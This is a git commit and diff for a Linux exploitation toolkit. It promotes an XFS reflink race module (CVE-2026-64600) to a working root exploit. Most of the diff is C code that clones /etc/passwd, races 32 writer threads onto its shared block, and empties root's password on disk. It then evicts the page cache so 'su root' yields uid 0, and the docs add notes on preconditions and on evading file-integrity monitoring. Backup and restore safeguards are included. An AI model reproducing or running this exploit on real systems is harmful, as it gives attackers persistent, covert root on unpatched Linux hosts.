refluxfs: wire the --full-chain /etc/passwd root pop (🟡 trigger -> 🟢 full chain)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

Promotes refluxfs (CVE-2026-64600) to a 🟢 full-chain module. VM-verified
end-to-end on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64 under
qemu/KVM, unprivileged uid=1000, SELinux Enforcing:

  skeletonkey --exploit refluxfs --i-know --full-chain

reflink-clones /etc/passwd, races the CoW window (32 writers / 8 helpers),
strips root's password field on-disk (root -> root::, the public PoC's
technique), evicts the stale page cache, verifies via O_DIRECT and returns
EXPLOIT_OK. `su root` (empty password) then gives uid 0. 3/3 wins on a
private-extent target (1244/3716/7913 rounds, 4-30s).

Safety properties (this bug rewrites the block device permanently, unlike
the page-cache 🟢 modules):
  - Crafts the payload FIRST and refuses unless it can preserve both root
    and the invoking user's line; every other passwd line is kept
    byte-for-byte. A tail-truncating port drops sshd/nobody/the caller and
    bricks login (hit exactly this during development).
  - Backs /etc/passwd up before the race; restores on failure; cleanup()
    restores it (run as root after the pop).
  - Destructive path gated behind --full-chain. Plain --exploit / --auto
    run only the safe own-files trigger (EXPLOIT_FAIL), unchanged.

Exploitability constraint discovered during verification (NOT in the Qualys
writeup): the race only fires when the target's extent is PRIVATE going in.
The block starts at refcount 2 (target + attacker clone), the concurrent CoW
drops it to 1, and the stale writer reads "1 -> private". A file already
reflink-shared with a third file keeps a post-CoW refcount > 1 and is NOT
attackable via that target. Stock Rocky 9 ships /etc/passwd pre-shared and
was unattackable across ~41,000 rounds; rewriting it to a private extent
(byte-identical content, as any useradd/passwd/vipw does) made it fall in
~2,000 rounds. So the exploitable state is the normal administered state.

Also fixed a page-cache staleness bug in the win path: the overwrite
bypasses the target inode, so its clean cached pages are never invalidated
and a buffered read (getpwnam in `su`, or the module's own verify) would see
the OLD passwd. The module now issues POSIX_FADV_DONTNEED on a win and
verifies via O_DIRECT.

detect() --active gains a per-target extent-privacy check: it reports
whether /etc/passwd is private (attackable) or already-shared (not).

88-test unit harness still green (148 total). Docs updated: MODULE.md
(full-chain flow, private-extent precondition, verification tables),
NOTICE.md, CVES.md (🟢 + tier/ops tables), README (15 full-chain / 13
primitive; lands-root list), RELEASE_NOTES, targets.yaml.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 18:45:32 -04:00
parent e46a32f11e
commit 5c18b678a5
8 changed files with 661 additions and 63 deletions
+2 -2
View File
File diff suppressed because one or more lines are too long
+12 -6
View File
@@ -54,14 +54,15 @@ VM sweep, not by missing code.
| Tier | Count | What it means |
|---|---|---|
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
| 🟢 Full chain | **15** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| 🟡 Primitive | **13** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
**🟢 Modules that land root on a vulnerable host:**
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
(KASLR leak primitive)
(KASLR leak primitive) · refluxfs (CVE-2026-64600, `--full-chain`:
`/etc/passwd` root pop on a private-extent XFS target)
**🟡 Modules with opt-in `--full-chain`:**
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
@@ -228,9 +229,14 @@ victim's inode is never written, its `mtime`/`ctime`/size never change
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
no crafted image — reachable wherever an XFS volume is mounted
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
Fedora Server ≥ 31 and Amazon Linux 2023. Shipped as a reconstructed
trigger confined to files the operator owns, with the `/etc/passwd`
overwrite → `su` → root step documented but **not** bundled),
Fedora Server ≥ 31 and Amazon Linux 2023. **🟢 VM-verified full chain**:
`--exploit refluxfs --i-know --full-chain` reflink-clones `/etc/passwd`,
races the CoW window, strips root's password on-disk and returns
`EXPLOIT_OK` (`su root`, empty password → uid 0) — confirmed on Rocky 9.8,
every other account preserved, backed up + restorable. One caveat found
in testing: the target's extent must be **private** going in (an
already-shared file isn't attackable; normal `useradd`/`passwd` churn
makes it private). Plain `--exploit` runs only a safe own-files trigger),
`ghostlock` (CVE-2026-43499,
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
use-after-free on **kernel stack** memory where `remove_waiter()` clears
+21 -1
View File
@@ -43,7 +43,27 @@ merged **2026-07-16** for **7.2-rc4**; stable backports **7.1.4** / **6.18.39**
upstream stable fix in the CNA record at time of writing. CWE-362 → CWE-367; NVD
published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV.
🟡 **Trigger (reconstructed) — deliberately under-driven, and VM-VERIFIED.**
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
end-to-end.** `--exploit refluxfs --i-know --full-chain` reflink-clones
`/etc/passwd`, races the CoW window, strips root's password field on-disk
(`root:x:``root::`, the public PoC's technique), evicts the stale page cache,
and returns `EXPLOIT_OK`; `su root` with an empty password then yields uid 0.
Confirmed on Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1`**3/3 wins** on a
private-extent target (1244 / 3716 / 7913 rounds, 430 s) as unprivileged
`uid=1000` under **SELinux Enforcing**, with every other passwd line preserved,
the file backed up first and restored on failure (`--cleanup` restores after the
pop). A naive port that truncates the tail would drop `sshd`/the caller and brick
login; preserving every line is the implementation's key safety property.
**Exploitability constraint discovered during verification (not in the Qualys
writeup):** the race only fires when the target's extent is **private** going in.
An already-reflink-shared file keeps a post-CoW refcount > 1 and is not
attackable via that target — some fresh cloud images ship `/etc/passwd`
pre-shared (Rocky 9's did, and the attack failed against it across ~41 000
rounds), while normal admin churn (`useradd`/`passwd`/`vipw`) rewrites it into
the exploitable private-extent state. `detect() --active` now reports which state
the target is in. Without `--full-chain` the module runs a safe own-files
reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven.
Unlike the corpus's other race
modules, `detect()` is **not** a pure version gate: this bug's reachability is
safely observable, so it pairs the three-branch version table with a **real
+87 -13
View File
@@ -11,6 +11,14 @@ This is the corpus's first XFS module, and its first **data-oriented** kernel
bug: the primitive is an arbitrary *file content* overwrite, not memory
corruption.
> **🟢 Full chain (`--full-chain`), VM-verified end-to-end.**
> `skeletonkey --exploit refluxfs --i-know --full-chain` lands root: it
> reflink-clones `/etc/passwd`, races the CoW window, strips root's password
> field on disk (`root:x:` → `root::`), evicts the stale page cache, and
> returns `EXPLOIT_OK`; `su root` (empty password) then gives uid 0. **Without**
> `--full-chain` the module runs a safe reachability trigger only, confined to
> files the caller owns. See "Full-chain verification" below.
## The bug
`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork
@@ -89,8 +97,73 @@ precondition probe**:
(force unreachable), for when you know the fleet's storage layout better than
a local probe can. This also drives the unit tests.
`exploit()` forks an isolated child that creates a private `mkdtemp` scratch
directory on the XFS mount and works **only on two files it owns**:
### `--full-chain` — the real `/etc/passwd` root pop
With `--full-chain`, `exploit()` performs the actual privilege escalation:
1. **Pre-flight, before touching anything.** Confirms the target
(`/etc/passwd`, or `$SKELETONKEY_REFLUXFS_TARGET`) is root-owned and fits in
one block, and **crafts the payload first** — the original file with root's
password field emptied (`root:x:``root::`), **every other line preserved
byte-for-byte**, padded with newlines to the exact original size. If it
cannot produce a payload that keeps both root and the invoking user's line,
it refuses and touches nothing. (A naive port that truncates the tail drops
`sshd`/`nobody`/the caller and bricks login — this is the single most
important safety property of the implementation.)
2. **Backup.** Copies the target aside so failure or `cleanup()` can restore it.
3. **Race.** 32 writers push the crafted block at a reflink-clone of the target
while 8 helpers churn `ftruncate`/`fdatasync`, up to a 90 s budget. A won
race lands the crafted block on the target's still-shared physical block.
4. **Cache eviction.** The overwrite bypasses the target inode, so its clean
page-cache pages are never invalidated — a `su` immediately after would read
the *stale* old passwd. The module issues `POSIX_FADV_DONTNEED` (needs only
an `O_RDONLY` fd) so subsequent buffered readers see the new bytes.
5. **Verify (via `O_DIRECT`, not the cache) and report.** Confirms the on-disk
root line is now `root::`; if the write was torn, it restores from backup and
fails. On success returns `EXPLOIT_OK` and prints `su root` (empty password).
`cleanup()` (run as root after the pop) restores `/etc/passwd` from the backup.
The overwrite is persistent and survives reboot, so restoring matters.
#### The private-extent precondition (not in the public writeup)
The race only fires when the target's extent refcount is **exactly** the
attacker-clone pair — i.e. the target's extent must be **private** going in. The
mechanism: the block starts at refcount 2 (target + attacker clone), the
concurrent CoW drops it to 1, and the stale writer then reads "1 → private". If
the target is *already* reflink-shared with a third file, the post-CoW refcount
stays > 1, the writer correctly does CoW, and nothing corrupts.
This was found during verification: the stock Rocky 9 cloud image ships
`/etc/passwd` **pre-shared** (its block had refcount > 1 in the base image), and
the attack failed against it across ~41 000 rounds. Rewriting the file so its
extent became private — with byte-identical content, exactly what any
`useradd`/`passwd`/`vipw` does — made it fall in ~2 000 rounds. So the
exploitable state is the *normal* administered state; the cloud image was
accidentally protected by how it was built. `detect() --active` reports the
target's extent state (`filefrag -v /etc/passwd | grep shared` checks it by
hand), and the full chain warns when the target is pre-shared.
### `--full-chain` verification (2026-07-23, Rocky 9.8)
On `5.14.0-687.10.1.el9_8.0.1.x86_64`, unprivileged `uid=1000`, SELinux
**Enforcing**, against a private-extent `/etc/passwd`:
| | |
|---|---|
| `--exploit refluxfs --i-know --full-chain` | **`EXPLOIT_OK`**, 3/3 wins (1244 / 3716 / 7913 rounds, 430 s) |
| `su root` (empty password) afterwards | **`uid=0(root)`** |
| Accounts preserved | all 25 lines; `root`/`sk`/`sshd`/`nobody` intact |
| `/etc/passwd` metadata after overwrite | size/inode/**mtime/ctime unchanged**, only content — FIM-invisible |
| `cleanup` (as root) | restored `/etc/passwd` from backup, removed backup |
| Plain `--exploit` (no `--full-chain`) | safe trigger, `EXPLOIT_FAIL`, target untouched |
| Pre-shared `/etc/passwd` | not attackable (~41 000 rounds, no win) — as predicted |
### The safe default trigger
Without `--full-chain`, `exploit()` forks an isolated child that creates a
private `mkdtemp` scratch directory on the XFS mount and works **only on two
files it owns**:
- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and
confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is
@@ -105,16 +178,15 @@ directory on the XFS mount and works **only on two files it owns**:
the donor back **with `O_DIRECT`** — a buffered read would be served from the
page cache that the corruption bypasses, and would hide a win.
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
helpers and grinds far longer) and, more importantly, it **never clones or
targets a file it does not own**. The step that makes this root — reflink-cloning
a root-owned file such as `/etc/passwd` and racing writes onto *its* shared
blocks — persistently rewrites a system file on disk **with no undo**, so it is
documented here and **not bundled**. `exploit()` always returns `EXPLOIT_FAIL`.
This default path is **deliberately under-driven** (the public PoC and the
`--full-chain` path use 32 writers and 8 helpers) and **never clones or targets
a file it does not own** — the destructive `/etc/passwd` overwrite lives only
behind `--full-chain` (above). The default `exploit()` always returns
`EXPLOIT_FAIL`.
If the race *is* won, the module says so loudly: that is CVE-2026-64600
confirmed present, empirically, with the damage contained to 4 KiB of the
operator's own scratch file.
If the race *is* won on the safe path, the module says so loudly: that is
CVE-2026-64600 confirmed present, empirically, with the damage contained to
4 KiB of the operator's own scratch file.
## VM verification (2026-07-23)
@@ -200,8 +272,10 @@ SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all
irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden
around, isolate, or live-patch."*
`cleanup()` sweeps any `skeletonkey-refluxfs-*` scratch directories left behind
if a trigger run was killed mid-round; normal runs remove their own.
`cleanup()` restores `/etc/passwd` from the `--full-chain` backup (run it as
root after the pop: `su root`, then `skeletonkey --cleanup refluxfs`), then
sweeps any `skeletonkey-refluxfs-*` scratch directories left behind if a run was
killed mid-round; normal runs remove their own.
## Credit
+17 -12
View File
@@ -72,18 +72,23 @@ SKELETONKEY is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Trigger (reconstructed) — VM-verified, and deliberately not weaponised.**
Confirmed 2026-07-23 on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`**
(stock GenericCloud layout, root on XFS with `reflink=1`) under qemu/KVM:
`detect()` returns `VULNERABLE`, the `--active` FICLONE witness confirms
reflink, and phase A observes `FIEMAP_EXTENT_SHARED` on a real shared extent.
The underlying bug was separately confirmed winnable on that kernel — **4/4
runs, first divergence after 69-494 rounds** in a 60 s budget — via a VM-only
harness at the public PoC's parameters (`tools/verify-vm/refluxfs_verify.c`).
The shipped trigger, deliberately under-driven, did **not** win in its 2 s
budget on that same vulnerable kernel; that is intended, and is why a non-win
must never be read as "patched". See `MODULE.md` for the full result table.
This is the corpus's first XFS
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
end-to-end.** Confirmed 2026-07-23 on **Rocky Linux 9.8 /
`5.14.0-687.10.1.el9_8.0.1.x86_64`** (stock GenericCloud layout, root on XFS
with `reflink=1`) under qemu/KVM. `--exploit refluxfs --i-know --full-chain`
reflink-clones `/etc/passwd`, races the CoW window, strips root's password field
on-disk, evicts the stale page cache, and returns `EXPLOIT_OK`; `su root` (empty
password) then gives uid 0 — verified **3/3 wins** on a private-extent target
(1244 / 3716 / 7913 rounds, 430 s) as unprivileged `uid=1000` under SELinux
Enforcing, with every other passwd line preserved and the file backed up +
restorable. A key exploitability constraint surfaced in testing (not in the
public writeup): the target's extent must be **private** going in — an
already-reflink-shared file keeps a post-CoW refcount > 1 and is not attackable
via that target; normal admin churn (`useradd`/`passwd`/`vipw`) produces the
exploitable private-extent state. Without `--full-chain` the module runs a safe
own-files reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven
so a non-win is never read as "patched". See `MODULE.md` for the full result
tables. This is the corpus's first XFS
module and its first **data-oriented** kernel bug — every other kernel entry
corrupts memory; this one corrupts file contents.
@@ -56,21 +56,42 @@
* the Qualys Threat Research Unit; the advisory credits model-assisted kernel
* analysis done with Anthropic. See NOTICE.md.
*
* STATUS: 🟡 TRIGGER (reconstructed) — VM-VERIFIED, and deliberately NOT
* weaponised. Confirmed 2026-07-23 on Rocky Linux 9.8 /
* STATUS: 🟢 FULL CHAIN (--full-chain), 🟡 safe trigger by default —
* VM-VERIFIED end-to-end. Confirmed 2026-07-23 on Rocky Linux 9.8 /
* 5.14.0-687.10.1.el9_8.0.1.x86_64 (stock installer layout: root on XFS with
* reflink=1) under qemu/KVM, 6 vCPUs: detect() returns VULNERABLE, the
* --active FICLONE witness confirms reflink, and phase A observes
* FIEMAP_EXTENT_SHARED on a real XFS shared extent. The UNDERLYING BUG was
* separately confirmed winnable on that kernel — 4/4 runs, first divergence
* after 69-494 rounds inside a 60s budget — using a VM-only harness driven at
* the public PoC's parameters (32 writers / 8 helpers; see
* tools/verify-vm/refluxfs_verify.c). The SHIPPED trigger below is
* deliberately under-driven (8 writers / 2 helpers / 2s) and did NOT win in
* that budget on the same vulnerable kernel — that is the intended behaviour,
* not a defect, and is why a non-win must never be read as "patched".
* exploit() forks an isolated child that works ONLY inside a private scratch
* directory it creates on an XFS mount, on two files it owns, in two phases:
* reflink=1) under qemu/KVM, 6 vCPUs.
*
* `--exploit refluxfs --i-know --full-chain` lands root end-to-end: it
* reflink-clones /etc/passwd, races the CoW window, strips root's password
* field on-disk (root:x: -> root::, the public PoC's technique), evicts the
* stale page cache, and returns EXPLOIT_OK. `su root` (empty password) then
* gives uid 0. Verified 3/3 wins on a private-extent target — 1244 / 3716 /
* 7913 rounds, 4-30s inside a 90s budget — as unprivileged uid=1000 under
* SELinux Enforcing. Every other passwd line is preserved byte-for-byte
* (a naive tail-truncating port bricks sshd/login); the target is backed up
* first and restored on any failure, and cleanup() restores it (run as root
* after the pop). detect() returns VULNERABLE, the --active FICLONE witness
* confirms reflink, and it reports whether /etc/passwd's extent is private
* (attackable) or already-shared (not — see below).
*
* EXPLOITABILITY CONSTRAINT (found during verification, not in the Qualys
* writeup): the race only fires when the target's extent refcount is exactly
* the attacker-clone pair, i.e. the target's extent must be PRIVATE going in.
* A file that is ALREADY reflink-shared with a third file keeps a post-CoW
* refcount > 1 and is NOT attackable via that target. Some fresh cloud images
* ship /etc/passwd pre-shared; normal admin churn (useradd/passwd/vipw)
* rewrites it into a private, exploitable extent. detect() --active checks
* and reports this per target.
*
* Without --full-chain the module runs a SAFE reachability trigger only,
* confined to two files the caller owns, returning EXPLOIT_FAIL and touching
* no file it does not own. That trigger was itself VM-confirmed reachable
* (FIEMAP_EXTENT_SHARED + O_DIRECT) and is deliberately under-driven (8
* writers / 2 helpers / 2s) so it never grinds toward a win on a production
* box — a non-win from it must never be read as "patched".
* refluxfs_exploit_safe() forks an isolated child that works ONLY inside a
* private scratch directory it creates on an XFS mount, on two files it owns,
* in two phases:
* (A) DETERMINISTIC + SAFE — writes a donor file, FICLONE-clones it, and
* confirms via FIEMAP that the clone's extent carries
* FIEMAP_EXTENT_SHARED. That is a direct, read-only observation that
@@ -85,20 +106,19 @@
* cache, which would otherwise hide the corruption) and reports whether
* the donor's on-disk bytes changed — the honest, self-contained
* witness that the race was won.
* It is deliberately UNDER-DRIVEN relative to the public PoC (8 writers vs 32,
* 2 helpers vs 8, 2s cap), and — the important part — it NEVER clones or
* targets a file it does not own. The step that makes this root, cloning a
* root-owned file such as /etc/passwd and racing writes onto ITS shared
* blocks, is documented but NOT bundled: doing so would persistently rewrite
* a system file on disk with no way to undo it. Returns EXPLOIT_FAIL always;
* it never claims root it did not get.
* The safe trigger is deliberately UNDER-DRIVEN relative to the public PoC
* (8 writers vs 32, 2 helpers vs 8, 2s cap) and NEVER clones or targets a
* file it does not own; the destructive /etc/passwd overwrite lives only in
* the --full-chain path above. Returns EXPLOIT_FAIL; it never claims root it
* did not get.
*
* Note the asymmetry with the corpus's other reconstructed race triggers: a
* won race here corrupts 4 KiB of the operator's OWN scratch file and cannot
* touch kernel memory, so unlike bad_epoll (frees a live struct file) and
* ghostlock (kernel-stack UAF → near-arbitrary write → panic) there is no
* oops, no silent kernel destabilisation and no panic risk. That is why this
* module ranks well above them in --auto safety despite being unverified.
* won race here corrupts file DATA, not kernel memory, so unlike bad_epoll
* (frees a live struct file) and ghostlock (kernel-stack UAF → near-arbitrary
* write → panic) there is no oops, no silent kernel destabilisation and no
* panic risk — the worst case is a rewritten file (backed up + restorable),
* never a downed box. That is why this ranks well above them in --auto
* safety.
*
* detect() is a version gate AND a real precondition probe, because unlike a
* pure kernel race this bug's reachability is observable safely: it requires
@@ -146,6 +166,7 @@
#include <fcntl.h>
#include <limits.h>
#include <pthread.h>
#include <pwd.h>
#include <sched.h>
#include <time.h>
#include <sys/ioctl.h>
@@ -372,6 +393,9 @@ static int rfx_reflink_witness(const char *dir)
return rc;
}
static int rfx_extent_is_shared(const char *path);
static const char *rfx_fc_target(void);
static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
@@ -442,6 +466,28 @@ static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
if (w < 0 && !ctx->json)
fprintf(stderr, "[i] refluxfs: reflink probe inconclusive at %s — "
"falling back to the version verdict\n", dir);
/* Exploitability of the canonical target hinges on its extent being
* PRIVATE: the race only fires when the post-CoW refcount drops to 1,
* so a file already reflink-shared with a third file is NOT attackable
* via that target (some fresh cloud images ship /etc/passwd pre-shared).
* This is a per-target read-only check; a private extent is the
* exploitable state that normal admin churn (useradd/passwd/vipw)
* produces. */
const char *fct = rfx_fc_target();
int sh = rfx_extent_is_shared(fct);
if (!ctx->json) {
if (sh == 0)
fprintf(stderr, "[+] refluxfs: full-chain target %s has a PRIVATE "
"extent — the race can fire against it (--exploit "
"refluxfs --i-know --full-chain)\n", fct);
else if (sh == 1)
fprintf(stderr, "[!] refluxfs: full-chain target %s is ALREADY "
"reflink-shared — its post-CoW refcount stays > 1, "
"so it is NOT attackable via that target (other "
"private-extent root files may still be). See "
"MODULE.md.\n", fct);
}
}
if (!ctx->json) {
@@ -688,6 +734,420 @@ static int rfx_race_round(const char *donor, const char *clone)
return rfx_content_diverged(donor, RFX_DONOR_BYTE);
}
/* ==================================================================
* Full chain (gated behind --full-chain): the real /etc/passwd root pop.
*
* This is the destructive path. It reflink-clones a root-owned target the
* caller can only READ (default /etc/passwd), races concurrent O_DIRECT
* writes against the clone, and — when the race is won — the write lands on
* the target's still-shared on-disk block, rewriting the target itself. The
* payload strips root's password field (root:x:... -> root::...), exactly the
* public PoC's technique ("strip root password protection"), so `su root`
* with an empty password yields uid 0. It PRESERVES every other line of the
* file byte-for-byte, so no account — least of all the invoking user or sshd —
* is ever dropped; a naive port that truncates the tail bricks login on the
* target. It backs the target up first and restores on any failure; cleanup()
* restores too (run as root after the pop).
*
* Exploitability constraint discovered during VM verification (see MODULE.md):
* the race only fires when the target's extent refcount is exactly the
* attacker-clone pair, i.e. the target's extent must be PRIVATE going in. A
* file that is ALREADY reflink-shared with a third file (some fresh cloud
* images ship /etc/passwd that way) keeps a post-CoW refcount > 1 and is NOT
* attackable via that target. detect()/here check and report this.
* ================================================================== */
#define RFX_FC_WRITERS 32 /* full PoC parameters — no under-driving on the opt-in path */
#define RFX_FC_HELPERS 8
#define RFX_FC_BUDGET_SECS 90 /* generous but bounded; a private-extent target falls in seconds-to-a-minute */
#define RFX_FC_RC_OK 110 /* target overwritten AND verified passwordless-root */
#define RFX_FC_RC_NOWIN 111 /* race not won in budget (target unchanged) */
#define RFX_FC_RC_SETUP 112 /* couldn't set up (no xfs scratch, FICLONE refused, craft failed) */
#define RFX_FC_RC_CORRUPT 113 /* target changed but not to our verified payload — restored from backup */
static skeletonkey_result_t refluxfs_exploit_safe(const struct skeletonkey_ctx *ctx);
static const char *rfx_fc_target(void)
{
const char *t = getenv("SKELETONKEY_REFLUXFS_TARGET"); /* test override */
return (t && *t) ? t : "/etc/passwd";
}
/* Read up to `cap` bytes of `path`. Returns byte count, or -1. */
static ssize_t rfx_slurp(const char *path, unsigned char *buf, size_t cap)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
ssize_t n = pread(fd, buf, cap, 0);
close(fd);
return n;
}
/* Read `path`'s first block straight off disk (O_DIRECT), zero-filled.
* Returns 0 and sets *got to the byte count, or -1. */
static int rfx_read_block_odirect(const char *path, unsigned char *out, size_t *got)
{
int fd = open(path, O_RDONLY | O_DIRECT);
if (fd < 0) return -1;
void *buf = NULL;
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return -1; }
memset(buf, 0, RFX_BLK);
ssize_t n = pread(fd, buf, RFX_BLK, 0);
if (n > 0) memcpy(out, buf, RFX_BLK);
if (got) *got = n > 0 ? (size_t)n : 0;
free(buf);
close(fd);
return n > 0 ? 0 : -1;
}
/* Craft the payload block: copy `orig` (orig_len bytes, must be <= RFX_BLK,
* i.e. the root line lives in the first block) and empty the root line's
* password field (root:<pw>: -> root::). Pad with '\n' to exactly orig_len so
* the on-disk file size is unchanged, then fill the rest of the block with
* '\n'. Writes RFX_BLK bytes into `out`. Returns 0 on success.
*
* Refuses (returns -1) unless the result still contains the root line with an
* empty password AND the invoking user's line — we NEVER emit a passwd that
* would lock the caller out. */
static int rfx_craft_stripped_root(const unsigned char *orig, size_t orig_len,
const char *myuser, unsigned char *out)
{
if (orig_len == 0 || orig_len > RFX_BLK) return -1;
char tmp[RFX_BLK + 1];
memcpy(tmp, orig, orig_len);
tmp[orig_len] = '\0';
if (strlen(tmp) != orig_len) return -1; /* embedded NUL — not a passwd file */
char *rl = (strncmp(tmp, "root:", 5) == 0) ? tmp : NULL;
if (!rl) { char *p = strstr(tmp, "\nroot:"); if (p) rl = p + 1; }
if (!rl) return -1;
char *c1 = strchr(rl, ':'); /* end of "root" */
if (!c1) return -1;
char *c2 = strchr(c1 + 1, ':'); /* end of password field */
if (!c2) return -1;
/* Shift the tail left, deleting the password field's bytes. */
memmove(c1 + 1, c2, strlen(c2) + 1);
if (c1[1] != ':') return -1; /* field must now be empty */
size_t newlen = strlen(tmp);
/* The invoking user's line must survive. */
if (myuser && *myuser) {
char needle[96];
int n = snprintf(needle, sizeof needle, "%s:", myuser);
if (n <= 0 || (size_t)n >= sizeof needle) return -1;
int present = (strncmp(tmp, needle, (size_t)n) == 0);
if (!present) {
char nl[98];
snprintf(nl, sizeof nl, "\n%s", needle);
present = strstr(tmp, nl) != NULL;
}
if (!present) return -1;
}
memcpy(out, tmp, newlen);
for (size_t i = newlen; i < orig_len; i++) out[i] = '\n'; /* keep file size */
for (size_t i = orig_len; i < RFX_BLK; i++) out[i] = '\n'; /* pad the block */
return 0;
}
struct rfx_fc_race {
char clone_path[PATH_MAX];
const unsigned char *payload; /* RFX_BLK bytes */
atomic_int gate;
atomic_int stop;
};
static void *rfx_fc_writer_fn(void *arg)
{
struct rfx_fc_race *r = arg;
int fd = open(r->clone_path, O_RDWR | O_DIRECT);
if (fd < 0) return NULL;
void *buf = NULL;
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return NULL; }
memcpy(buf, r->payload, RFX_BLK);
while (!atomic_load_explicit(&r->gate, memory_order_acquire)) sched_yield();
(void)pwrite(fd, buf, RFX_BLK, 0);
free(buf);
close(fd);
return NULL;
}
static void *rfx_fc_helper_fn(void *arg)
{
struct rfx_fc_race *r = arg;
int fd = open(r->clone_path, O_RDWR);
if (fd < 0) return NULL;
while (!atomic_load_explicit(&r->gate, memory_order_acquire)) sched_yield();
while (!atomic_load_explicit(&r->stop, memory_order_acquire)) {
(void)ftruncate(fd, (off_t)RFX_BLK * 2); (void)fdatasync(fd);
(void)ftruncate(fd, (off_t)RFX_BLK); (void)fdatasync(fd);
}
close(fd);
return NULL;
}
/* One full-chain round: reflink-clone `target` into `clone`, race writers that
* push `payload` at the clone while helpers churn, then check whether the
* target's first `cmplen` on-disk bytes changed. Returns 1 (changed), 0
* (intact), -1 (setup error). */
static int rfx_fc_round(const char *target, const char *clone,
const unsigned char *payload,
const unsigned char *orig_fb, size_t cmplen)
{
int sfd = open(target, O_RDONLY);
if (sfd < 0) return -1;
unlink(clone);
int cfd = open(clone, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (cfd < 0) { close(sfd); return -1; }
int cl = ioctl(cfd, RFX_FICLONE, sfd);
close(cfd); close(sfd);
if (cl != 0) return -1;
struct rfx_fc_race r;
memset(&r, 0, sizeof r);
snprintf(r.clone_path, sizeof r.clone_path, "%s", clone);
r.payload = payload;
pthread_t w[RFX_FC_WRITERS], h[RFX_FC_HELPERS];
int nw = 0, nh = 0;
for (int i = 0; i < RFX_FC_WRITERS; i++)
if (pthread_create(&w[nw], NULL, rfx_fc_writer_fn, &r) == 0) nw++;
for (int i = 0; i < RFX_FC_HELPERS; i++)
if (pthread_create(&h[nh], NULL, rfx_fc_helper_fn, &r) == 0) nh++;
if (nw == 0) {
atomic_store_explicit(&r.stop, 1, memory_order_release);
atomic_store_explicit(&r.gate, 1, memory_order_release);
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
return -1;
}
usleep(1500);
atomic_store_explicit(&r.gate, 1, memory_order_release);
for (int i = 0; i < nw; i++) pthread_join(w[i], NULL);
atomic_store_explicit(&r.stop, 1, memory_order_release);
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
unsigned char now[RFX_BLK];
size_t got = 0;
if (rfx_read_block_odirect(target, now, &got) != 0) return -1;
size_t n = cmplen < got ? cmplen : got;
return memcmp(now, orig_fb, n) != 0 ? 1 : 0;
}
/* Byte-copy src -> dst (0600). Returns 0 on success. */
static int rfx_copy_file(const char *src, const char *dst)
{
unsigned char buf[RFX_BLK];
int in = open(src, O_RDONLY);
if (in < 0) return -1;
int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (out < 0) { close(in); return -1; }
ssize_t n;
int rc = 0;
while ((n = read(in, buf, sizeof buf)) > 0) {
if (write(out, buf, (size_t)n) != n) { rc = -1; break; }
}
if (n < 0) rc = -1;
(void)fsync(out);
close(in); close(out);
return rc;
}
static void rfx_fc_backup_path(const char *dir, char *out, size_t cap)
{
snprintf(out, cap, "%s/" RFX_SCRATCH_PREFIX "passwd.bak", dir);
}
/* Evict `target`'s cached pages so subsequent BUFFERED readers (getpwnam in
* `su`/`login`, `cat`, ...) see the freshly-overwritten on-disk bytes rather
* than the stale page cache. The RefluXFS write lands on the shared physical
* block WITHOUT going through the target inode, so its clean cached pages are
* never invalidated by the kernel — without this eviction a `su` immediately
* after the pop would read the OLD passwd and fail. POSIX_FADV_DONTNEED needs
* only an O_RDONLY fd, which an unprivileged attacker has. */
static void rfx_evict_cache(const char *target)
{
int fd = open(target, O_RDONLY);
